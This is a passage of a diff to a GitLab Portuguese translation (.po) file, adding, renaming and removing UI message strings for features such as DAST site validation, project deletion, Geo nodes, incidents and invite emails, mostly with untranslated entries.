+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "Os dados ainda estão a ser calculados..."
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr "Etiqueta de classificação padrão"
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,12 +8045,12 @@ msgstr "Excluir"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
-msgstr "Excluir pacote"
-
msgid "Delete Snippet"
msgstr "Excluir Snippet"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr ""
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr "Excluído"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr "Apelido de bate-papo excluído: %{chat_name}!"
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr "A exclusão da licença falhou."
@@ -7854,6 +8156,9 @@ msgstr "A exclusão da licença falhou. A licença não foi encontrada."
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr "A exclusão de licença falhou. Você não tem permissão para executar essa ação."
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr "Todas"
@@ -7900,6 +8213,9 @@ msgstr "Componente"
msgid "Dependencies|Component name"
msgstr "Nome do componente"
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "Exportar como JSON"
@@ -7918,6 +8234,9 @@ msgstr "Empacotador"
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr "A tarefa %{codeStartTag}dependency_scanning%{codeEndTag} falhou e não pode gerar a lista. Certifique-se de que a tarefa esteja funcionando corretamente e execute o pipeline novamente."
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Adicionar um design com o mesmo nome de arquivo substitui o arquivo por uma nova versão."
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr "Detalhes (padrão)"
msgid "Detect host keys"
msgstr "Detectar chaves de host"
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr "Diferenciar limite de conteúdo"
msgid "Diff limits"
msgstr "Diferenciar limites"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr "(base)"
msgid "Diffs|No file name available"
msgstr "Nenhum nome de arquivo disponível"
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr "Discussão"
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr "Editar comentário"
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr "Ativar autenticação de dois fatores"
msgid "Enable usage ping"
msgstr "Ativar dados de uso"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr "Ativar a dados de uso para obter uma visão geral de como você está usando GitLab a partir de uma perspectiva de recurso."
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr "Os ambientes permitem que você acompanhe as implantações do seu aplic
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr "Adicionar um projeto ao dashboard"
@@ -9246,7 +9568,7 @@ msgstr "Remover"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "O dashboard de ambientes fornece um resumo do status dos ambientes de cada projeto, incluindo status de pipelines e alertas."
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "Para agendar o seu épico %{epicDateType} baseado em marcos temporais, atribua um marco com uma data %{epicDateType} a qualquer issue no épico."
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr "Membros e grupos existentes"
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr "Expandir tudo"
msgid "Expand approvers"
msgstr "Expandir aprovadores"
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "Expandir barra lateral"
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr "Data de validade"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr "Expirado"
@@ -10358,12 +10674,18 @@ msgstr "Feature flags permitem que você configure o seu código em diferentes v
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr "Começar a usar feature flags"
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr "Ocorreu um erro ao buscar as feature flag."
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr "Tente novamente daqui a pouco ou entre em contato com a sua equipe de suporte."
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr "A obtenção das licenças falhou. Você não tem permissão para execut
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr "Cor da Fonte"
msgid "Footer message"
msgstr "Mensagem do Rodapé"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "Para projetos internos, qualquer usuário conectado pode visualizar pipelines e acessar detalhes da tarefa (logs de saída e artefatos)"
@@ -10895,30 +11223,15 @@ msgstr "Nó está falho ou quebrado."
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "O nó está lento, sobrecarregado ou acabou de se recuperar de uma falta de energia."
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr "Checksum verificado"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr "Atraso de replicação de dados"
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "Não corresponde à configuração de armazenamento primário"
-msgid "GeoNodes|Failed"
-msgstr "Falhou"
-
msgid "GeoNodes|Full"
msgstr "Completo"
@@ -10934,12 +11247,6 @@ msgstr "Status de saúde"
msgid "GeoNodes|Internal URL"
msgstr "URL interna"
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "O ID do último evento processado por cursor"
@@ -10967,12 +11274,6 @@ msgstr "O nó foi removido com sucesso."
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr "Soma de verificação não conferida"
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr "Slots de replicação"
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "Repositórios"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr "Progresso de soma de verificação de repositório"
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "Progresso de verificação de repositório"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr "Configurações de sincronização"
msgid "GeoNodes|Unused slots"
msgstr "Slots não usados"
-msgid "GeoNodes|Unverified"
-msgstr "Não verificado"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr "Slots usados"
-msgid "GeoNodes|Verified"
-msgstr "Verificado"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr "Progresso de soma de verificação de wiki"
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "Progresso de verificação de wiki"
-
-msgid "GeoNodes|Wikis"
-msgstr "Wikis"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr "Geo Status"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr "Falha na verificação - %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "Aguardando o agendador"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr "Tela cheia"
msgid "Go to %{link_to_google_takeout}."
msgstr "Ir para %{link_to_google_takeout}."
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr "Os minutos do pipeline do grupo foram redefinidos com sucesso."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Bloquear compartilhamento de projetos do grupo %{group} com outros grupos"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr "Informações do status de saúde podem ser obtidas nos seguintes locais
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "O token de acesso é"
@@ -12341,6 +12639,9 @@ msgstr "Não saudável"
msgid "Hello there"
msgstr "Olá"
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Ajuda"
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "No entanto, você já é um membro deste %{member_source}. Faça login usando uma conta diferente para aceitar o convite."
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr "Falha ao importar o projeto"
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr "Falha ao solicitar seus repositórios do %{provider}"
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,14 +13123,14 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "Melhore a pesquisa com Advanced Global Search e GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr "Para ativar a análise no nível da instância, peça a um administrador para ativar o %{usage_ping_link_start}dados de uso%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
msgstr ""
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr "Na próxima etapa, você poderá selecionar os projetos que deseja importar."
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr "Indexar todos os projetos"
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "Indica se este runner pode escolher tarefas sem tags"
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr "Instalar em clusters"
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr "Instalado"
@@ -13022,8 +13353,8 @@ msgstr[1] "Instâncias"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
-msgstr "Visibilidade de Estatísticas de Instância"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr "O grupo de administradores da instância já existe"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Padrão de intervalo"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr "Arquivo de configuração de Insights inválido detectado"
msgid "Invalid Login or password"
msgstr "Login ou senha inválidos"
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr "URL inválida"
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr "Convidar membro"
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr "Issue"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "Painéis"
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr "Issues"
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,8 +14217,8 @@ msgstr "Etiquetas podem ser aplicadas a issues e merge requests para categorizá
msgid "Labels can be applied to issues and merge requests."
msgstr "Etiquetas podem ser aplicadas a issues e merge requests."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>Promover a etiqueta</span> %{labelTitle} <span>para etiqueta do Grupo?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "Promover etiqueta"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr "Funcionalidades licenciadas"
msgid "Licensed to"
msgstr "Licenciado para"
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "Licenças"
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr "Limita a exibição de unidades de acompanhamento de tempo a horas."
@@ -14331,6 +14710,9 @@ msgstr "Listar os seus Repositórios do Gitea"
msgid "List available repositories"
msgstr "Listar repositórios disponíveis"
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr "Pré-visualização ao vivo"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,8 +14788,8 @@ msgstr "Bloqueio não encontrado"
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
-msgstr "Travar este %{issuableDisplayName}? Apenas <strong>membros do projeto</strong> poderão comentar."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
msgid "Lock to current projects"
msgstr "Travar para projetos existentes"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr "Aprovado por"
msgid "MRApprovals|Approvers"
msgstr "Aprovadores"
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr "Mostrar apenas alterações"
@@ -14553,9 +14947,6 @@ msgstr "Importação de arquivo de manifesto"
